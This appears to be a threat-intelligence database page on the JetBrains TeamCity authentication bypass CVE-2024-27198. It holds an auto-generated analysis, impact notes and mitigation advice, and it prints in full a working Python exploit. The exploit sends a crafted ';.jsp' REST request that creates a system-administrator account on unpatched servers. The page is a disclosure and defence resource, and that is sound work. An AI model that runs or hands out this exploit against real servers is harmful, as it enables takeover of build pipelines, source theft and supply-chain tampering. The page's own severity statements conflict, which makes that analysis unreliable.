JetBrains TeamCity 2023.11.4 - Authentication Bypass
JetBrains TeamCity 2023.11.4 - Authentication Bypass
AI Analysis
Technical Summary
JetBrains TeamCity 2023.11.4 contains an authentication bypass vulnerability that allows attackers to circumvent the normal login process and gain unauthorized access to the TeamCity web interface. TeamCity is a popular continuous integration and continuous deployment (CI/CD) server used by development teams to automate build, test, and deployment workflows. The vulnerability likely arises from improper validation or flawed authentication logic within the web application, enabling attackers to bypass credential checks. The availability of Python-based exploit code demonstrates that the attack can be automated and integrated into attack campaigns. Although no active exploitation has been reported, the presence of exploit code increases the risk of future attacks. Successful exploitation could compromise the confidentiality and integrity of build configurations, source code repositories, and potentially sensitive project data managed within TeamCity. This could lead to further supply chain attacks or unauthorized code changes. The vulnerability does not require user interaction beyond accessing the TeamCity interface, but it may require network access to the server. No official patch links are currently available, indicating that organizations must monitor JetBrains advisories closely. The medium severity rating reflects the balance between the potential impact and the complexity of exploitation.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the security of software development pipelines. Unauthorized access to TeamCity can lead to exposure of proprietary source code, build scripts, and credentials stored within the system. This can facilitate intellectual property theft, insertion of malicious code into software builds, and disruption of development workflows. Organizations relying heavily on automated CI/CD processes may face operational disruptions and reputational damage if attackers manipulate build artifacts or leak sensitive data. The impact is heightened for sectors with stringent data protection requirements, such as finance, healthcare, and critical infrastructure. Additionally, supply chain attacks originating from compromised build servers can have cascading effects across multiple organizations and customers. The lack of known exploits in the wild provides a window for proactive mitigation, but the availability of exploit code necessitates urgent attention to prevent exploitation.
Mitigation Recommendations
1. Monitor JetBrains official channels for patches addressing this vulnerability and apply them promptly once released. 2. Restrict network access to TeamCity servers by implementing IP whitelisting, VPN access, or zero-trust network principles to limit exposure to trusted users only. 3. Enforce strong authentication mechanisms, such as multi-factor authentication (MFA), where possible, to add an additional layer of security beyond the vulnerable authentication process. 4. Conduct regular audits of TeamCity user accounts and permissions to detect and remove any unauthorized or inactive accounts. 5. Implement network segmentation to isolate CI/CD infrastructure from other critical systems and limit lateral movement in case of compromise. 6. Enable detailed logging and continuous monitoring of TeamCity access and activities to detect anomalous behavior indicative of exploitation attempts. 7. Educate development and operations teams about the risks associated with this vulnerability and the importance of secure CI/CD practices. 8. Consider temporary mitigations such as disabling public access to TeamCity or using web application firewalls (WAFs) to block suspicious requests until patches are available.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Finland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform administrative actions. # The vulnerability leverages a path traversal-like technique in the JSP handling # mechanism combined with REST API endpoints to bypass authentication. # Requirements: requests>=2.25.1 """ import requests import argparse import sys import json from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' banner = f"""{Colors.CYAN} ████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗████████╗██╗ ██╗ ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝ ██║ █████╗ ███████║██╔████╔██║██║ ██║ ██║ ╚████╔╝ ██║ ██╔══╝ ██╔══██║██║╚██╔╝██║██║ ██║ ██║ ╚██╔╝ ██║ ███████╗██║ ██║██║ ╚═╝ ██║╚██████╗██║ ██║ ██║ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ {Colors.END} {Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END} {Colors.YELLOW} Author: ibrahimsql{Colors.END} """ parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)") parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL") parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)") parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") args = parser.parse_args() class TeamCityExploit: def __init__(self, target_url, timeout=15, verbose=False): self.target_url = target_url.rstrip('/') self.timeout = timeout self.verbose = verbose self.session = requests.Session() def _log(self, message, level="info"): if level == "success": print(f"{Colors.GREEN}[+] {message}{Colors.END}") elif level == "error": print(f"{Colors.RED}[-] {message}{Colors.END}") elif level == "warning": print(f"{Colors.YELLOW}[!] {message}{Colors.END}") elif level == "info": print(f"{Colors.BLUE}[*] {message}{Colors.END}") elif level == "verbose" and self.verbose: print(f"[DEBUG] {message}") def check_target_reachability(self): try: self._log(f"Checking target: {self.target_url}") response = self.session.get(self.target_url, verify=False, timeout=self.timeout) if response.status_code in [200, 302, 401, 403]: self._log("Target is reachable", "success") return True else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Connection timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def exploit_authentication_bypass(self): exploit_path = "/idontexist?jsp=/app/rest/users;.jsp" full_url = f"{self.target_url}{exploit_path}" self._log(f"Targeting: {full_url}") headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json, text/plain, */*" } payload = { "username": "ibrahimsql", "password": "ibrahimsql", "email": "ibrahimsql@exploit.local", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } self._log(f"Payload: {json.dumps(payload)}", "verbose") try: self._log("Attempting authentication bypass...") response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout) self._log(f"Status: {response.status_code}", "verbose") self._log(f"Response: {response.text[:200]}", "verbose") if response.status_code == 200: self._log("Exploit successful!", "success") print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}") print(f"{Colors.CYAN}{'='*50}{Colors.END}") print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html") print(f"{Colors.CYAN}{'='*50}{Colors.END}") return True elif response.status_code == 401: self._log("Authentication required - target may be patched", "error") return False elif response.status_code == 404: self._log("Endpoint not found - target may be patched", "error") return False elif response.status_code == 403: self._log("Access forbidden", "error") return False else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Request timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def validate_url(url): try: parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) if parsed.scheme not in ['http', 'https']: raise ValueError("URL must use HTTP or HTTPS") if not parsed.netloc: raise ValueError("Invalid URL format") return url except Exception as e: raise ValueError(f"Invalid URL: {str(e)}") def main(): print(banner) try: target_url = validate_url(args.url) print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}") print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}") print(f"{Colors.CYAN}{'='*45}{Colors.END}\n") exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose) if not exploit.check_target_reachability(): exploit._log("Cannot reach target", "error") sys.exit(1) success = exploit.exploit_authentication_bypass() if success: exploit._log("Exploit completed!", "success") sys.exit(0) else: exploit._log("Exploit failed", "error") sys.exit(1) except ValueError as e: print(f"{Colors.RED}[-] {str(e)}{Colors.END}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}") sys.exit(1) if __name__ == "__main__": main()
JetBrains TeamCity 2023.11.4 - Authentication Bypass
Description
JetBrains TeamCity 2023.11.4 - Authentication Bypass
AI-Powered Analysis
Technical Analysis
JetBrains TeamCity 2023.11.4 contains an authentication bypass vulnerability that allows attackers to circumvent the normal login process and gain unauthorized access to the TeamCity web interface. TeamCity is a popular continuous integration and continuous deployment (CI/CD) server used by development teams to automate build, test, and deployment workflows. The vulnerability likely arises from improper validation or flawed authentication logic within the web application, enabling attackers to bypass credential checks. The availability of Python-based exploit code demonstrates that the attack can be automated and integrated into attack campaigns. Although no active exploitation has been reported, the presence of exploit code increases the risk of future attacks. Successful exploitation could compromise the confidentiality and integrity of build configurations, source code repositories, and potentially sensitive project data managed within TeamCity. This could lead to further supply chain attacks or unauthorized code changes. The vulnerability does not require user interaction beyond accessing the TeamCity interface, but it may require network access to the server. No official patch links are currently available, indicating that organizations must monitor JetBrains advisories closely. The medium severity rating reflects the balance between the potential impact and the complexity of exploitation.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the security of software development pipelines. Unauthorized access to TeamCity can lead to exposure of proprietary source code, build scripts, and credentials stored within the system. This can facilitate intellectual property theft, insertion of malicious code into software builds, and disruption of development workflows. Organizations relying heavily on automated CI/CD processes may face operational disruptions and reputational damage if attackers manipulate build artifacts or leak sensitive data. The impact is heightened for sectors with stringent data protection requirements, such as finance, healthcare, and critical infrastructure. Additionally, supply chain attacks originating from compromised build servers can have cascading effects across multiple organizations and customers. The lack of known exploits in the wild provides a window for proactive mitigation, but the availability of exploit code necessitates urgent attention to prevent exploitation.
Mitigation Recommendations
1. Monitor JetBrains official channels for patches addressing this vulnerability and apply them promptly once released. 2. Restrict network access to TeamCity servers by implementing IP whitelisting, VPN access, or zero-trust network principles to limit exposure to trusted users only. 3. Enforce strong authentication mechanisms, such as multi-factor authentication (MFA), where possible, to add an additional layer of security beyond the vulnerable authentication process. 4. Conduct regular audits of TeamCity user accounts and permissions to detect and remove any unauthorized or inactive accounts. 5. Implement network segmentation to isolate CI/CD infrastructure from other critical systems and limit lateral movement in case of compromise. 6. Enable detailed logging and continuous monitoring of TeamCity access and activities to detect anomalous behavior indicative of exploitation attempts. 7. Educate development and operations teams about the risks associated with this vulnerability and the importance of secure CI/CD practices. 8. Consider temporary mitigations such as disabling public access to TeamCity or using web application firewalls (WAFs) to block suspicious requests until patches are available.
Affected Countries
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Technical Details
- Edb Id
- 52411
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for JetBrains TeamCity 2023.11.4 - Authentication Bypass
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform ad... (7722 more characters)
Threat ID: 689a95b8ad5a09ad002b095d
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:38:01 AM
Last updated: 12/4/2025, 10:11:24 PM
Views: 82
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